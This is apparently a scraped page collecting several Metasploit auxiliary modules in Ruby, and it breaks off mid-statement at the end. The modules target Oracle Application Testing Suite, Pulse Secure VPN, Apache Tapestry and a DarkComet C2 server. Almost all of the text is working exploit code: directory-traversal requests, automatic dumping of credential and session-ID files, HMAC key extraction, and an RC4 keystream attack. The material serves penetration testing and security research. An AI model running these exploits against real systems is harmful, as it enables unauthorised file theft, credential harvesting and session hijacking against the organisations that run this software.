{<br /> origin_type: :service,<br /> module_fullname: fullname,<br /> username: opts[:user]<br /> }.merge(service_data)<br /><br /> if opts[:password]<br /> credential_data.merge!(<br /> private_data: opts[:password],<br /> private_type: :password<br /> )<br /> end<br /><br /> login_data = {<br /> core: create_credential(credential_data),<br /> status: Metasploit::Model::Login::Status::UNTRIED,<br /> proof: opts[:proof]<br /> }.merge(service_data)<br /><br /> create_credential_login(login_data)<br /> end<br /><br /><br /> def run<br /> users = get_users<br /> print_status("Found users for domain #{domain}: #{users.length}")<br /><br /> users.each do |user_data|<br /> pass = descrypt_password(user_data[:id])<br /> if pass<br /> if user_data[:description].blank?<br /> print_good("Found credential: #{user_data[:username]}:#{pass}")<br /> else<br /> print_good("Found credential: #{user_data[:username]}:#{pass} (#{user_data[:description]})")<br /> end<br /> else<br /> print_status("Found #{user_data[:username]}, but unable to decrypt password.")<br /> end<br /><br /> report_cred(<br /> user: user_data[:username],<br /> password: pass,<br /> proof: user_data.inspect<br /> )<br /> end<br /> end<br /><br /><br /> def print_status(msg='')<br /> super("#{peer} - #{msg}")<br /> end<br /><br /><br /> def print_good(msg='')<br /> super("#{peer} - #{msg}")<br /> end<br /><br /><br /> def print_error(msg='')<br /> super("#{peer} - #{msg}")<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'rkelly'<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Auxiliary::Report<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info={})<br /> super(update_info(info,<br /> 'Name' => 'Oracle Application Testing Suite Post-Auth DownloadServlet Directory Traversal',<br /> 'Description' => %q{<br /> This module exploits a vulnerability in Oracle Application Testing Suite (OATS). In the Load<br /> Testing interface, a remote user can abuse the custom report template selector, and cause the<br /> DownloadServlet class to read any file on the server as SYSTEM. Since the Oracle application<br /> contains multiple configuration files that include encrypted credentials, and that there are<br /> public resources for decryption, it is actually possible to gain remote code execution<br /> by leveraging this directory traversal attack.<br /><br /> Please note that authentication is required. By default, OATS has two built-in accounts:<br /> default and administrator. You could try to target those first.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' =><br /> [<br /> 'Steven Seeley', # Original discovery<br /> 'sinn3r' # Metasploit module<br /> ],<br /> 'DefaultOptions' =><br /> {<br /> 'RPORT' => 8088<br /> },<br /> 'References' =><br /> [<br /> ['CVE', '2019-2557'],<br /> ['URL', 'https://srcincite.io/advisories/src-2019-0033/'],<br /> ['URL', 'https://www.oracle.com/security-alerts/cpuapr2019.html']<br /> ],<br /> 'DisclosureDate' => '2019-04-16'<br /> ))<br /><br /> register_options(<br /> [<br /> OptString.new('FILE', [true, 'The name of the file to download', 'oats-config.xml']),<br /> OptInt.new('DEPTH', [true, 'The max traversal depth', 1]),<br /> OptString.new('OATSUSERNAME', [true, 'The username to use for Oracle', 'default']),<br /> OptString.new('OATSPASSWORD', [true, 'The password to use for Oracle']),<br /> ])<br /> end<br /><br /> class OracleAuthSpec<br /> attr_accessor :loop_value<br /> attr_accessor :afr_window_id<br /> attr_accessor :adf_window_id<br /> attr_accessor :adf_ads_page_id<br /> attr_accessor :adf_page_id<br /> attr_accessor :form_value<br /> attr_accessor :session_id<br /> attr_accessor :view_direct<br /> attr_accessor :view_state<br /> end<br /><br /> # OATS ships LoadTest500VU_Build1 and LoadTest500VU_Build2 by default,<br /> # and there is no way to remove it from the user interface, so this should be<br /> # safe to say that there will always there.<br /> DEFAULT_SESSION = 'LoadTest500VU_Build1'<br /><br /> def auth_spec<br /> @auth_spec ||= OracleAuthSpec.new<br /> end<br /><br /> def check<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'olt/')<br /> })<br /><br /> if res && res.body.include?('AdfLoopbackUtils.runLoopback')<br /> Exploit::CheckCode::Detected<br /> else<br /> Exploit::CheckCode::Safe<br /> end<br /> end<br /><br /> def load_runloopback_args(res)<br /> html = res.get_html_document<br /> rk = RKelly::Parser.new<br /> script = html.at('script').text<br /> ast = rk.parse(script)<br /> runloopback = ast.grep(RKelly::Nodes::ExpressionStatementNode).last<br /> runloopback_args = runloopback.value.arguments.value<br /> auth_spec.loop_value = runloopback_args[2].value.scan(/'(.+)'/).flatten.first<br /> auth_spec.afr_window_id = runloopback_args[7].value.scan(/'(.+)'/).flatten.first<br /><br /> json_args = runloopback_args[17]<br /> auth_spec.adf_window_id = json_args.value[4].value.value.to_s<br /> auth_spec.adf_page_id = json_args.value[5].value.value.to_s<br /> end<br /><br /> def load_view_redirect_value(res)<br /> html = res.get_html_document<br /> rk = RKelly::Parser.new<br /> script = html.at('script').text<br /> ast = rk.parse(script)<br /> runredirect = ast.grep(RKelly::Nodes::ExpressionStatementNode).last<br /> runredirect_args = runredirect.value.arguments.value<br /> redirect_arg = runredirect_args[1].value.scan(/'(.+)'/).flatten.first || ''<br /> auth_spec.view_direct = redirect_arg.scan(/ORA_ADF_VIEW_REDIRECT=(\d+);/).flatten.first<br /> auth_spec.adf_page_id = redirect_arg.scan(/ORA_ADF_VIEW_PAGE_ID=(s\d+);/).flatten.first<br /> end<br /><br /> def collect_initial_spec<br /> uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login')<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => uri,<br /> })<br /><br /> fail_with(Failure::Unknown, 'No response from server') unless res<br /> cookies = res.get_cookies<br /> session_id = cookies.scan(/JSESSIONID=(.+);/i).flatten.first || ''<br /> auth_spec.session_id = session_id<br /> load_runloopback_args(res)<br /> end<br /><br /> def prepare_auth_spec<br /> collect_initial_spec<br /> uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login')<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => uri,<br /> 'cookie' => "JSESSIONID=#{auth_spec.session_id}",<br /> 'vars_get' =><br /> {<br /> '_afrLoop' => auth_spec.loop_value,<br /> '_afrWindowMode' => '0',<br /> 'Adf-Window-Id' => auth_spec.adf_window_id<br /> },<br /> 'headers' =><br /> {<br /> 'Upgrade-Insecure-Requests' => '1'<br /> }<br /> })<br /><br /> fail_with(Failure::Unknown, 'No response from server') unless res<br /> hidden_inputs = res.get_hidden_inputs.first<br /> auth_spec.form_value = hidden_inputs['org.apache.myfaces.trinidad.faces.FORM']<br /> auth_spec.view_state = hidden_inputs['javax.faces.ViewState']<br /> end<br /><br /> def ota_login!<br /> prepare_auth_spec<br /> uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login')<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => uri,<br /> 'cookie' => "JSESSIONID=#{auth_spec.session_id}",<br /> 'headers' =><br /> {<br /> 'Upgrade-Insecure-Requests' => '1'<br /> },<br /> 'vars_post' =><br /> {<br /> 'userName' => datastore['OATSUSERNAME'],<br /> 'password' => datastore['OATSPASSWORD'],<br /> 'org.apache.myfaces.trinidad.faces.FORM' => auth_spec.form_value,<br /> 'Adf-Window-Id' => auth_spec.adf_window_id,<br /> 'javax.faces.ViewState' => auth_spec.view_state,<br /> 'Adf-Page-Id' => auth_spec.adf_page_id,<br /> 'event' => 'btnSubmit',<br /> 'event.btnSubmit' => '<m xmlns="http://oracle.com/richClient/comm"><k v="type"><s>action</s></k></m>'<br /> }<br /> })<br /><br /> fail_with(Failure::Unknown, 'No response from server') unless res<br /> if res.body.include?('Login failed')<br /> fail_with(Failure::NoAccess, 'Login failed')<br /> else<br /> store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])<br /> load_view_redirect_value(res)<br /> end<br /> end<br /><br /> def load_file<br /> uri = normalize_uri(target_uri.path, 'olt', 'download')<br /> dots = '..\\' * datastore['DEPTH']<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => uri,<br /> 'cookie' => "JSESSIONID=#{auth_spec.session_id}",<br /> 'vars_get' =><br /> {<br /> 'type' => 'template',<br /> 'session' => DEFAULT_SESSION,<br /> 'name' => "#{dots}#{datastore['FILE']}"<br /> },<br /> 'headers' =><br /> {<br /> 'Upgrade-Insecure-Requests' => '1'<br /> }<br /> })<br /><br /> fail_with(Failure::Unknown, 'No response from server') unless res<br /> fail_with(Failure::Unknown, 'File not found') if res.body.include?('No content to display')<br /> res.body<br /> end<br /><br /> def run<br /> ota_login!<br /> file = load_file<br /> print_line(file)<br /> store_loot('oats.file', 'application/octet-stream', rhost, file)<br /> end<br /><br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /><br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(update_info(info,<br /> 'Name' => 'Pulse Secure VPN Arbitrary File Disclosure',<br /> 'Description' => %q{<br /> This module exploits a pre-auth directory traversal in the Pulse Secure<br /> VPN server to dump an arbitrary file. Dumped files are stored in loot.<br /><br /> If the "Automatic" action is set, plaintext and hashed credentials, as<br /> well as session IDs, will be dumped. Valid sessions can be hijacked by<br /> setting the "DSIG" browser cookie to a valid session ID.<br /><br /> For the "Manual" action, please specify a file to dump via the "FILE"<br /> option. /etc/passwd will be dumped by default. If the "PRINT" option is<br /> set, file contents will be printed to the screen, with any unprintable<br /> characters replaced by a period.<br /><br /> Please see related module exploit/linux/http/pulse_secure_cmd_exec for<br /> a post-auth exploit that can leverage the results from this module.<br /> },<br /> 'Author' => [<br /> 'Orange Tsai', # Discovery (@orange_8361)<br /> 'Meh Chang', # Discovery (@mehqq_)<br /> 'Alyssa Herrera', # PoC (@Alyssa_Herrera_)<br /> 'Justin Wagner', # Module (@0xDezzy)<br /> 'wvu' # Module<br /> ],<br /> 'References' => [<br /> ['CVE', '2019-11510'],<br /> ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],<br /> ['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],<br /> ['URL', 'https://hackerone.com/reports/591295']<br /> ],<br /> 'DisclosureDate' => '2019-04-24', # Public disclosure<br /> 'License' => MSF_LICENSE,<br /> 'Actions' => [<br /> ['Automatic', 'Description' => 'Dump creds and sessions'],<br /> ['Manual', 'Description' => 'Dump an arbitrary file (FILE option)']<br /> ],<br /> 'DefaultAction' => 'Automatic',<br /> 'DefaultOptions' => {<br /> 'RPORT' => 443,<br /> 'SSL' => true,<br /> 'HttpClientTimeout' => 5 # This seems sane<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'SideEffects' => [IOC_IN_LOGS],<br /> 'Reliability' => [],<br /> 'RelatedModules' => ['exploit/linux/http/pulse_secure_cmd_exec']<br /> }<br /> ))<br /><br /> register_options([<br /> OptString.new(<br /> 'FILE',<br /> [<br /> true,<br /> 'File to dump (manual mode only)',<br /> '/etc/passwd'<br /> ]<br /> ),<br /> OptBool.new(<br /> 'PRINT',<br /> [<br /> false,<br /> 'Print file contents (manual mode only)',<br /> true<br /> ]<br /> )<br /> ])<br /> end<br /><br /> def the_chosen_one<br /> return datastore['FILE'], 'User-chosen file'<br /> end<br /><br /> def run<br /> files =<br /> case action.name<br /> when 'Automatic'<br /> print_status('Running in automatic mode')<br /><br /> # Order by most sensitive first<br /> [<br /> plaintext_creds,<br /> session_ids,<br /> hashed_creds<br /> ]<br /> when 'Manual'<br /> print_status('Running in manual mode')<br /><br /> # /etc/passwd by default<br /> [the_chosen_one]<br /> end<br /><br /> files.each do |path, info|<br /> print_status("Dumping #{path}")<br /><br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => dir_traversal(path),<br /> 'partial' => true # Allow partial response due to timeout<br /> )<br /><br /> unless res<br /> fail_with(Failure::Unreachable, "Could not dump #{path}")<br /> end<br /><br /> handle_response(res, path, info)<br /> end<br /> end<br /><br /> def handle_response(res, path, info)<br /> case res.code<br /> when 200<br /> case action.name<br /> when 'Automatic'<br /> # TODO: Parse plaintext and hashed creds<br /> if path == session_ids.first<br /> print_status('Parsing session IDs...')<br /><br /> parse_sids(res.body).each do |sid|<br /> print_good("Session ID found: #{sid}")<br /> end<br /> end<br /> when 'Manual'<br /> printable = res.body.gsub(/[^[:print:][:space:]]/, '.')<br /><br /> print_line(printable) if datastore['PRINT']<br /> end<br /><br /> print_good(store_loot(<br /> self.name, # ltype<br /> 'application/octet-stream', # ctype<br /> rhost, # host<br /> res.body, # data<br /> path, # filename<br /> info # info<br /> ))<br /> when 302<br /> fail_with(Failure::NotVulnerable, "Redirected to #{res.redirection}")<br /> when 400<br /> print_error("Invalid path #{path}")<br /> when 404<br /> print_error("#{path} not found")<br /> else<br /> print_error("I don't know what a #{res.code} code is")<br /> end<br /> end<br /><br /> def dir_traversal(path)<br /> normalize_uri(<br /> '/dana-na/../dana/html5acc/guacamole/../../../../../..',<br /> "#{path}?/dana/html5acc/guacamole/" # Bypass query/vars_get<br /> )<br /> end<br /><br /> def parse_sids(body)<br /> body.to_s.scan(/randomVal([[:xdigit:]]+)/).flatten.reverse<br /> end<br /><br /> def plaintext_creds<br /> return '/data/runtime/mtmp/lmdb/dataa/data.mdb', 'Plaintext credentials'<br /> end<br /><br /> def session_ids<br /> return '/data/runtime/mtmp/lmdb/randomVal/data.mdb', 'Session IDs'<br /> end<br /><br /> def hashed_creds<br /> return '/data/runtime/mtmp/system', 'Hashed credentials'<br /> end<br /><br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /><br /> include Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Apache Tapestry HMAC secret key leak',<br /> 'Description' => %q{<br /> This exploit finds the HMAC secret key used in Java serialization by Apache Tapestry. This key<br /> is located in the file AppModule.class by default and looks like the standard representation of UUID in hex digits (hd) :<br /> 6hd-4hd-4hd-4hd-12hd<br /> If the HMAC key has been changed to look differently, this module won't find the key because it tries to download the file<br /> and then uses a specific regex to find the key.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Johannes Moritz', # CVE<br /> 'Yann Castel (yann.castel[at]orange.com)' # Metasploit module<br /> ],<br /> 'References' => [<br /> [ 'CVE', '2021-27850']<br /> ],<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'Reliability' => [ REPEATABLE_SESSION ],<br /> 'SideEffects' => [ IOC_IN_LOGS ]<br /> },<br /> 'DisclosureDate' => '2021-04-15'<br /> )<br /> )<br /><br /> register_options([<br /> Opt::RPORT(8080),<br /> OptString.new('TARGETED_CLASS', [true, 'Name of the targeted java class', 'AppModule.class']),<br /> OptString.new('TARGETURI', [true, 'The base path of the Apache Tapestry Server', '/'])<br /> ])<br /> end<br /><br /> def class_file<br /> datastore['TARGETED_CLASS']<br /> end<br /><br /> def check<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, '/assets/app/something/services/', class_file, '/')<br /> })<br /><br /> if res.nil?<br /> Exploit::CheckCode::Unknown<br /> elsif res.code == 302<br /><br /> id_url = res.redirection.to_s[%r{assets/app/(\w+)/services/#{class_file}}, 1]<br /> normalized_url = normalize_uri(target_uri.path, '/assets/app/', id_url, '/services/', class_file, '/')<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalized_url<br /> })<br /><br /> if res.code == 200 && res.headers['Content-Type'] =~ %r{application/java.*}<br /> print_good("Java file leak at #{rhost}:#{rport}#{normalized_url}")<br /> Exploit::CheckCode::Vulnerable<br /> else<br /> Exploit::CheckCode::Safe<br /> end<br /> else<br /> Exploit::CheckCode::Safe<br /> end<br /> end<br /><br /> def run<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, '/assets/app/something/services/', class_file, '/')<br /> })<br /><br /> unless res<br /> print_bad('Apache Tapestry did not respond.')<br /> return<br /> end<br /><br /> id_url = res.redirection.to_s[%r{assets/app/(\w+)/services/+#{class_file}}, 1]<br /> normalized_url = normalize_uri(target_uri.path, '/assets/app/', id_url, '/services/', class_file, '/')<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalized_url<br /> })<br /><br /> unless res<br /> print_bad('Either target is not vulnerable or class file does not appear to exist.')<br /> return<br /> end<br /><br /> raw_class_file = res.body.to_s<br /> if raw_class_file.empty?<br /> print_bad("#{class_file} could not be obtained.")<br /> return<br /> end<br /><br /> key_marker = 'tapestry.hmac-passphrase'<br /> unless raw_class_file.include?(key_marker)<br /> print_bad("HMAC key not found in #{class_file}.")<br /> return<br /> end<br /><br /> # three bytes precede the key itself<br /> # last two indicate the length of the key<br /> key_start = raw_class_file.index(key_marker)<br /> byte_start = key_start + key_marker.length + 1<br /> key_size = raw_class_file[byte_start..byte_start + 1]<br /> key_size = key_size.unpack('C*').join.to_i<br /> byte_start += 2<br /><br /> key = raw_class_file[byte_start..byte_start + key_size - 1]<br /> path = store_loot(<br /> "tapestry.#{class_file}",<br /> 'application/binary',<br /> rhost,<br /> raw_class_file<br /> )<br /><br /> print_good("Apache Tapestry class file saved at #{path}.")<br /> if key<br /> print_good("HMAC key found: #{key}.")<br /> else<br /> print_bad(<br /> 'Could not find key. ' \<br /> "Please check #{path} in case key is in an unexpected format."<br /> )<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::Tcp<br /> include Msf::Auxiliary::Report<br /><br /> def initialize(info = {})<br /> super(update_info(info,<br /> 'Name' => 'DarkComet Server Remote File Download Exploit',<br /> 'Description' => %q{<br /> This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.<br /> The exploit does not need to know the password chosen for the bot/server communication.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' =><br /> [<br /> 'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery<br /> 'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack<br /> ],<br /> 'References' =><br /> [<br /> [ 'URL', 'https://www.nccgroup.com/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],<br /> [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ]<br /> ],<br /> 'DisclosureDate' => '2012-10-08',<br /> 'Platform' => 'win'<br /> ))<br /><br /> register_options(<br /> [<br /> Opt::RPORT(1604),<br /> Opt::RHOST('0.0.0.0'),<br /><br /> OptAddressLocal.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),<br /> OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),<br /> OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),<br /> OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),<br /> OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),<br /> OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])<br /><br /> ])<br /> end<br /><br /> # Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext<br /> def xor_strings(s1, s2)<br /> s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')<br /> end<br /><br /> def get_keystream(ciphertext, known_plaintext)<br /> c = [ciphertext].pack('H*')<br /> if known_plaintext.length > c.length<br /> return xor_strings(c, known_plaintext[0, c.length])<br /> elsif c.length > known_plaintext.length<br /> return xor_strings(c[0, known_plaintext.length], known_plaintext)<br /> else<br /> return xor_strings(c, known_plaintext)<br /> end<br /> end<br /><br /> def use_keystream(plaintext, keystream)<br /> if keystream.length > plaintext.length<br /> return xor_strings(plaintext, keystream[0, plaintext.length]).unpack('H*')[0].upcase<br /> else<br /> return xor_strings(plaintext, keystream).unpack('H*')[0].upcase<br /> end<br /> end<br /><br /> # Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)<br /> # since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength<br /> def rc4_initialize(key)<br /> @q1 = 0<br /> @q2 = 0<br /> @key = []<br /> key.each_byte { |elem| @key << elem } while @key.size < 256<br /> @key.slice!(256..@key.size - 1) if @key.size >= 256<br /> @s = (0..255).to_a<br /> j = 0<br /> 0.upto(255) do |i|<br /> j = (j + @s[i] + @key[i]) % 256<br /> @s[i], @s[j] = @s[j], @s[i]<br /> end<br /> end<br /><br /> def rc4_keystream<br /> @q1 = (@q1 + 1) % 256<br /> @q2 = (@q2 + @s[@q1]) % 256<br /> @s[@q1], @s[@q2] = @s[@q2], @s[@q1]<br /> @s[(@s[@q1] + @s[@q2]) % 256]<br /> end<br /><br /> def rc4_process(text)<br /> text.each_byte.map { |i| (i ^ rc4_keystream).chr }.join<br /> end<br /><br /> def dc_encryptpacket(plaintext, key)<br /> rc4_initialize(key)<br /> rc4_process(plaintext).unpack('H*')[0].upcase<br /> end<br /><br /> # Try to execute the exploit<br /> def try_exploit(exploit_string, keystream, bruting)<br /> connect<br /> idtype_msg = sock.get_once(12)<br /><br /> if idtype_msg.length != 12<br /> disconnect<br /> return nil<br /> end<br /><br /> if datastore['KEY'] != ''<br /> exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])<br /> else<br /> # If we don't have a key we need enough keystream<br /> if keystream.nil?<br /> disconnect<br /> return nil<br /> end<br /><br /> if keystream.length < exploit_string.length<br /> disconnect<br /> return nil<br /> end<br /><br /> exploit_msg = use_keystream(exploit_string, keystream)<br /> end<br /><br /> sock.put(exploit_msg)<br /><br /> if bruting<br /> begin<br /> ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])<br /> rescue Timeout::Error<br /> disconnect<br /> return nil<br /> end<br /> else<br /> ack_msg = sock.get_once(3)<br /> end<br /><br /> if ack_msg != "\x41\x00\x43"<br /> disconnect<br /> return nil<br /> # Different protocol structure for versions >= 5.1<br /> elsif datastore['NEWVERSION'] == true<br /> if bruting<br /> begin<br /> filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i<br /> rescue Timeout::Error<br /> disconnect<br /> return nil<br /> end<br /> else<br /> filelen = sock.get_once(10).to_i<br /> end<br /> if filelen == 0<br /> disconnect<br /> return nil<br /> end<br /><br /> if datastore['KEY'] != ''<br /> a_msg = dc_encryptpacket('A', datastore['KEY'])<br /> else<br /> a_msg = use_keystream('A', keystream)<br /> end<br /><br /> sock.put(a_msg)<br /><br /> if bruting<br /> begin<br /> filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])<br /> rescue Timeout::Error<br /> disconnect<br /> return nil<br /> end<br /> else<br /> filedata = sock.get_once(filelen)<br /> end<br /><br /> if filedata.length != filelen<br /> disconnect<br /> return nil<br /> end<br /><br /> sock.put(a_msg)<br /> disconnect<br /> return filedata<br /> else<br /> filedata = ''<br /><br /> if bruting<br /> begin<br /> msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])<br /> rescue Timeout::Error<br /> disconnect<br /> return nil<br /> end<br /> else<br /> msg = sock.get_once(1024)<br /> end<br /><br /> while (!msg.nil?) && (msg != '')<br /> filedata += msg<br /> if bruting<br /> begin<br /> msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])<br /> rescue Timeout::Error<br /> break<br /> end<br /> else<br /> msg = sock.get_once(1024)<br /> end<br /> end<br /><br /> disconnect<br /><br /> if filedata == ''<br /> return nil<br /> else<br /> return filedata<br /> end<br /> end<br /> end<br /><br /> # Fetch a GetSIN response from C2 server<br /> def fetch_getsin<br /> connect<br /> idtype_msg = sock.get_once(12)<br /><br /> if idtype_msg.length != 12<br /> disconnect<br /> return nil<br /> end<br /><br /> keystream = get_keystream(idtype_msg, 'IDTYPE')<br /> server_msg = use_keystream('SERVER', keystream)<br /> sock.put(server_msg)<br /><br /> getsin_msg = sock.get_once(1024)<br /> disconnect<br /> getsin_msg<br /> end<br /><br /> # Carry out the crypto attack when we don't have a key<br /> def crypto_attack(exploit_string)<br /> getsin_msg = fetch_getsin<br /> if getsin_msg.nil?<br /> return nil<br /> end<br /><br /> getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'<br /> keystream = get_keystream(getsin_msg, getsin_kp)<br /><br /> if keystream.length < exploit_string.length<br /> missing_bytecount = exploit_string.length - keystream.length<br /><br /> print_status("Missing #{missing_bytecount} bytes of keystream ...")<br /><br /> inferrence_segment = ''<br /> brute_max = 4<br /><br /> if missing_bytecount > brute_max<br /> print_status("Using inference attack ...")<br /><br /> # Offsets to monitor for changes<br /> target_offset_range = []<br /> for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)<br /> target_offset_range << i<br /> end<br /><br /> # Store inference results<br /> inference_results = {}<br /><br /> # As long as we haven't fully recovered all offsets through inference<br /> # We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]<br /> getsin_observation = [''] * 4<br /> buffer_head = 0<br /><br /> for i in 0..2<br /> getsin_observation[i] = [fetch_getsin].pack('H*')<br /> Rex.sleep(0.5)<br /> end<br /><br /> buffer_tail = 3<br /><br /> # Actual inference attack happens here<br /> while !target_offset_range.empty?<br /> getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')<br /> Rex.sleep(0.5)<br /><br /> # We check if we spot a change within a position between two consecutive items within our circular buffer<br /> # (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0<br /> target_offset_range.each do |x|<br /> index = buffer_head<br /><br /> while index != buffer_tail do<br /> next_index = (index + 1) % 4<br /><br /> # The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same<br /> # observations as well while being constant in at least one previous or subsequent observation<br /> if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))<br /> target_offset_range.delete(x)<br /> inference_results[x] = xor_strings(getsin_observation[index][x], '9')<br /> break<br /> end<br /> index = next_index<br /> end<br /> end<br /><br /> # Update circular buffer head & tail<br /> buffer_tail = (buffer_tail + 1) % 4<br /> # Move head to right once tail wraps around, discarding oldest item in circular buffer<br /> if buffer_tail == buffer_head<br /> buffer_head = (buffer_head + 1) % 4<br /> end<br /> end<br /><br /> # Inference attack done, reconstruct final keystream segment<br /> inf_seg = ["\x00"] * (keystream.length + missing_bytecount)<br /> inferrence_results.each do |x, val|<br /> inf_seg[x] = val<br /> end<br /><br /> inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join<br /> missing_bytecount = brute_max<br /> end<br /><br /> if missing_bytecount > brute_max<br /> print_status("Improper keystream recovery ...")<br /> return nil<br /> end<br /><br /> print_status("Initiating brute force ...")<br /><br /> # Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)<br /> charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']<br /> char_range = missing_bytecount.times.map { charset }<br /> char_range.first.product(*char_range[1..-1]) do |x|<br /> p = x.join<br /> candidate_plaintext = getsin_kp + p<br /> candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment<br /> filedata = try_exploit(exploit_string, candidate_keystream, true)<br /><br /> if !filedata.nil?<br /> return filedata<br /> end<br /> end<br /> return nil<br /> end<br /><br /> try_exploit(exploit_string, keystream, false)<br /> end<br /><br /> def parse_password(filedata)<br /> filedata.each_line { |line|<br /> elem = line.strip.split('=')<br /> if elem.length >= 1<br /> if elem[0] == 'PASSWD'<br /> if elem.length == 2<br /> return elem[1]<br /> else<br /> return ''<br /> end<br /> end<br /> end<br /> }<br /> return nil<br /> end<br /><br /> def run<br /> # Determine exploit string<br /> if datastore['NEWVERSION'] == true<br /> if (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')<br /> exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'<br /> else<br /> exploit_string = 'QUICKUP1|config.ini|'<br /> end<br /> elsif (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')<br /> exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'<br /> else<br /> exploit_string = 'UPLOADconfig.ini|1|1|'<br /> end<br /><br /> # Run exploit<br /> if datastore['KEY'] != ''<br /> filedata = try_exploit(exploit_string, nil, false)<br /> else<br /> filedata = crypto_attack(exploit_string)<br /> end<br /><br /> # Harvest interesting credentials, store loot<br /> if !filedata.nil?<br /> # Automatically try to extract password from config.ini if we haven't set a key yet<br /> if datastore['KEY'] == ''<br /> password = parse_password(filedata)<br /> if password.nil?<br /> print_status("Could not find password in config.ini ...")<br /> elsif password == ''<br /> print_status("C2 server uses empty password!")<br /> else<br /> print_status("C2 server uses password [#{password}]")<br /> end<br /> end<br /><br /> # Store to loot<br /> if datastore['STORE_LOOT'] == true<br /> print_status("Storing data to loot...")<br /> if (datastore['KEY'] == '') && (datastore['TARGETFILE'] != '')<br /> store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")<br /> else<br /> store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved 